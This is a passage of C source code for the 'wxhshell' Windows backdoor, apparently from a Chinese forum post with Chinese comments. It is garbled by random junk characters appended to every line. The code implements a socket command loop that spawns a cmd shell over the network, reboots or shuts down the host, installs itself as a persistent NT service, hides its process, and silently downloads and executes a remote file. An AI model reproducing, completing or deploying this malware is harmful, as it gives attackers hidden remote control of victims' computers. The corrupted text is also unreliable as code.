rbT)=-(  
    switch(cmd[0]) { p;?*}xa  
  S4witIK5  
  // 帮助 jlFk@:y4  
  case '?': { VF&Z%O3n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]pEV}@7  
    break; ^\B :R,  
  } Kb =@ =Xta  
  // 安装 Z ,^9 Z  
  case 'i': { ]nhr+;of/-  
    if(Install()) b;|55Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 z,&i  
    else `:'w@(q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lyCW=nc  
    break; [OOS`N4<  
    } \:> Wpqw  
  // 卸载 *&AfR8x_z  
  case 'r': { D@EO=08<b  
    if(Uninstall()) ,Ma.V\T[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y32O-I!9u  
    else 4/ X/>Y1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vd`}/~o  
    break; @H!$[m3  
    } g<*BLF  
  // 显示 wxhshell 所在路径 )XQ`M?**M  
  case 'p': { EkT."K  
    char svExeFile[MAX_PATH]; 5unG#szq  
    strcpy(svExeFile,"\n\r"); g~UUP4<$"  
      strcat(svExeFile,ExeFile); 4h6k`ie!$  
        send(wsh,svExeFile,strlen(svExeFile),0); 7?OH,^  
    break; `RMI(zI3g.  
    } DoC(Z)o  
  // 重启 QZ `tNq :/  
  case 'b': { 3Rm#-T s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d2X[(3  
    if(Boot(REBOOT)) [<`SfE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C8a*Q"  
    else { D 71;&G]0  
    closesocket(wsh); (h']a!  
    ExitThread(0); IPuA#C  
    } 6)pH |d.FR  
    break; w@2Vts  
    } reo{*) %  
  // 关机 (I@bkMp  
  case 'd': { ,(a5@H$f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2/,0iwj-  
    if(Boot(SHUTDOWN)) elG;jB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UEak^Mm;=2  
    else { <"o"z2  
    closesocket(wsh); hO{cvHy`  
    ExitThread(0); .s/fhk,  
    } *9ywXm&?  
    break; RkF D*E$  
    } u6:pV.p  
  // 获取shell =O|c-k,f@  
  case 's': { j?b\+rr  
    CmdShell(wsh); 2?@j~I=s2h  
    closesocket(wsh); &Bx J  
    ExitThread(0); -Xz?s  
    break; Li 2Zndp  
  } wwKh CmH  
  // 退出 n(~\l#o@  
  case 'x': { eUS   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'H9=J*9oG  
    CloseIt(wsh); Bs`$ i ;&  
    break; ^ 4%Zvl  
    } -ZW0k@5g  
  // 离开 9Pd* z>s  
  case 'q': { _F p>F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OPpjuIRv  
    closesocket(wsh); n{*e 9Aw  
    WSACleanup(); (Lh#`L?x  
    exit(1); s!/TU{8J  
    break; I[o*RKT'"  
        } /R X1UQ.s  
  } O!D/|.Q#%  
  } u% 2<\:~j  
]L2Oz  
  // 提示信息 PIcrA2ll  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2EQ 6J  
} l? #xAZx&_  
  } a )*6gf<5  
3*DXE9gA9  
  return; F=G{)*Ih  
} *X%m@KLIKv  
P+e KZo  
// shell模块句柄 m}VM+=  
int CmdShell(SOCKET sock) {5c]Mn"r  
{ N#N0Q0W=  
STARTUPINFO si; X7UBopm&  
ZeroMemory(&si,sizeof(si)); '#\D]5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QzGV.Mt2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JM0I(%Z%  
PROCESS_INFORMATION ProcessInfo; v}Wmd4Y'  
char cmdline[]="cmd"; p]W+eT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3l!NG=R  
  return 0; 4dH}g~[P9  
} 8OWmzY_=  
ETv9k g  
// 自身启动模式 oFg5aey4  
int StartFromService(void) 8U~.\`H-PT  
{ Vu0 KtG9  
typedef struct B~r}c4R{7  
{  ]^"k8v/  
  DWORD ExitStatus; x:K?\<  
  DWORD PebBaseAddress; >L((2wfiN  
  DWORD AffinityMask; cu#e38M&eE  
  DWORD BasePriority; bC@k>yC-  
  ULONG UniqueProcessId; z?8~[h{i%  
  ULONG InheritedFromUniqueProcessId; ~4.r^)\  
}   PROCESS_BASIC_INFORMATION; gLj?Ys  
a7H0!9^h  
PROCNTQSIP NtQueryInformationProcess; f<[jwhCWV  
i~=s^8n`l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l52a\/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jSt mS2n  
!J>A,D"-  
  HANDLE             hProcess; \hk/1/siyF  
  PROCESS_BASIC_INFORMATION pbi; g+q@i{Yn  
WbjF]b\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #/J 'P[z  
  if(NULL == hInst ) return 0; upn8n vy4(  
8 ?TKN~ja  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !MZw#=D`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Q$nA>trKA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XOr fs sj  
90 { tIX  
  if (!NtQueryInformationProcess) return 0; 7u11&(Lz  
vg%QXaM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V:K;] h*!  
  if(!hProcess) return 0; hsce:TB  
2V#6q,2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H^c0Kh+  
jThbeY[  
  CloseHandle(hProcess); f %fa{  
[p;*r)f2}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $7gB_o$zz  
if(hProcess==NULL) return 0; Unl?fXI  
='Oj4T  
HMODULE hMod; H;vZm[\0N-  
char procName[255]; ~2%3FV^  
unsigned long cbNeeded; Rmh*TQu  
Vk<k +=7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \&|CM8A  
c;!g  
  CloseHandle(hProcess); 3l:QeZ  
B#N7qoi  
if(strstr(procName,"services")) return 1; // 以服务启动  .Oo/y0E^  
i*tv,f.(  
  return 0; // 注册表启动 ~@c-*  
} g,lY ut  
 0%Q9}l#7  
// 主模块 8Pmwzpk02  
int StartWxhshell(LPSTR lpCmdLine) 9 pKm*n&  
{ X BI;Lg  
  SOCKET wsl; @6.]!U4w  
BOOL val=TRUE; eqzTQen8q  
  int port=0; = t+('  
  struct sockaddr_in door; _x\m|SF_g  
qb7^VIo%c  
  if(wscfg.ws_autoins) Install(); }5S2p@W)  
 Dt}dp_  
port=atoi(lpCmdLine); F?*k}]Gi  
G\rj?%  
if(port<=0) port=wscfg.ws_port; rZC3\,W  
;w6s<a@Zh  
  WSADATA data; Zw=G@4xoU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mxtgb$*  
iz x[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J%P)%yX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S=9E@(]  
  door.sin_family = AF_INET; b~w KF0vq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'C]jwxy  
  door.sin_port = htons(port); ?MZ:_'2p  
"\T"VS^pd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z-Hkz  
closesocket(wsl); : ^(nj7D  
return 1; *FPg#a+  
} h;Mu[`  
"Pdvmur  
  if(listen(wsl,2) == INVALID_SOCKET) { }MZan" cfo  
closesocket(wsl); Q]i[.ME  
return 1; f)gGH'yOQ  
} 6o lV+  
  Wxhshell(wsl); kkfCAM  
  WSACleanup(); RjtC:H&XZ  
MSB%{7'o  
return 0; Yf (im  
D0M!"c>\  
} +{vQS FW  
&q>h *w4O  
// 以NT服务方式启动 q!*MH/R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c,BAa*]K  
{ -- S"w@  
DWORD   status = 0; lZ a?Y@  
  DWORD   specificError = 0xfffffff; vahf]2jEB  
NKh,z& _5-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u[[/w&UV.,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (-2R{! A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }:^XX0:FK  
  serviceStatus.dwWin32ExitCode     = 0; KZ\dB;W< |  
  serviceStatus.dwServiceSpecificExitCode = 0; S~&\o\"5  
  serviceStatus.dwCheckPoint       = 0; }9}w8R~E  
  serviceStatus.dwWaitHint       = 0; N[ Q#R~Hn<  
.HOY q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BD4"pcr  
  if (hServiceStatusHandle==0) return; /$*; >4=>f  
p2a?9R  
status = GetLastError(); a@k.$  
  if (status!=NO_ERROR) 2VMX:&3 5J  
{ lxOqs:b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?1DUNZ6  
    serviceStatus.dwCheckPoint       = 0; Ltg-w\?]  
    serviceStatus.dwWaitHint       = 0; 7 s-`QdWX  
    serviceStatus.dwWin32ExitCode     = status; y[p6y[r*  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bfn]-]>sD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CRd_}  
    return; scmto cm  
  } Ei~]iZ}  
#mTMt;x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ctj8tK$D  
  serviceStatus.dwCheckPoint       = 0; )+k[uokj  
  serviceStatus.dwWaitHint       = 0; jDp]R_i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JchA=n  
} AG=9b  
69OET_AS>  
// 处理NT服务事件,比如:启动、停止 XWf7"]%SX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @2|G|C/]O}  
{ ]nHe$x!2]  
switch(fdwControl) /J8o_EV  
{ F]Pul|.l  
case SERVICE_CONTROL_STOP: lk~dgky@  
  serviceStatus.dwWin32ExitCode = 0; q"l>`KCG`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6i^0T  
  serviceStatus.dwCheckPoint   = 0; ~CulFxu  
  serviceStatus.dwWaitHint     = 0; (A|B@a!Y>  
  { o:f|zf> i<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |y'b21 7t  
  } u4C1W|x  
  return; <JJkki  
case SERVICE_CONTROL_PAUSE: h bdEw=r?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z.{HD9TD  
  break; iPNd!_  
case SERVICE_CONTROL_CONTINUE: L c{!FG>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zo87^y5?G  
  break; 'H FwP\HX  
case SERVICE_CONTROL_INTERROGATE: Hc"N& %X[  
  break; JH-nvv  
}; krwf8!bI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )*+u\x_Hx  
} 0rGj|@+;  
yCZ2^P!a  
// 标准应用程序主函数 ]~ >@%v&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?<g|.HY/  
{ @s3aR*ny$  
A>[hC{  
// 获取操作系统版本 @t "~   
OsIsNt=GetOsVer(); Y9/{0TArG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s%hU*^ 8  
&~42T}GTWG  
  // 从命令行安装 =CGD ~p`  
  if(strpbrk(lpCmdLine,"iI")) Install(); %oMWcgsdJi  
4h(jw   
  // 下载执行文件 zmdWVFV v  
if(wscfg.ws_downexe) { :R{x]sv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u;QH8LK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4$qNcMdz  
} [Aa[&RX+9  
]kzv8#  
if(!OsIsNt) { hw7~i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cd$dn HVh  
HideProc(); P~n8EO1r  
StartWxhshell(lpCmdLine); *c!;^Qyp&  
} aGdpec v  
else z^ YeMe  
  if(StartFromService()) J,.j_ii`!  
  // 以服务方式启动 WFQ*s4 R(  
  StartServiceCtrlDispatcher(DispatchTable); f&+XPd %  
else BJ_+z gf`  
  // 普通方式启动 p3{x<AO/  
  StartWxhshell(lpCmdLine); ]L[JS^#7  
PjiNu.>2(  
return 0; t00\yb^vJ8  
}
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只看该作者 1 发表于: 2006-10-10
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